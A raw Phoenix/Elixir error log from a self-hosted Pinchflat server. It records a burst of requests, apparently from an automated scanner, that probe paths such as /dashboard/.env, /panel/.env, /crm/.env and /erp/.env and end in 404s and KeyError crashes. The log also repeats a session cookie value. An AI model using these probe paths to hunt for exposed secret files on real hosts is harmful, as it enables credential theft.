#PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 115, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3419.0>, params: %{}, path_info: ["dashboard", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/dashboard/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6noygA5SaJQAARyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 115, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 115, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" (truncated) 02:10:16.882 [info] GET /panel/.env 02:10:16.883 [debug] QUERY OK source="settings" db=0.3ms idle=190.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.883 [debug] QUERY OK source="settings" db=0.0ms idle=136.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.883 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.883 [error] #PID<0.3420.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 116) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /panel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 116, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3420.0>, params: %{}, path_info: ["panel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/panel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6n5VTqzksikAARzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 116, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 116, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:16.948 [info] GET /crm/.env 02:10:16.948 [debug] QUERY OK source="settings" db=0.2ms idle=200.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.949 [debug] QUERY OK source="settings" db=0.0ms idle=134.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:16.949 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:16.949 [error] #PID<0.3421.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 117) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /crm/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 117, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3421.0>, params: %{}, path_info: ["crm", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/crm/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6oI-EDQNDmYAAR0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 117, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /crm/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/crm/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 117, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:17.206 [info] GET /erp/.env 02:10:17.207 [debug] QUERY OK source="settings" db=0.3ms idle=323.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.207 [debug] QUERY OK source="settings" db=0.1ms idle=324.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.207 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.208 [error] #PID<0.3422.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 118) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /erp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /erp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/erp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 118, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3422.0>, params: %{}, path_info: ["erp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/erp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6pGi3Ak5Pc8AAR1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, 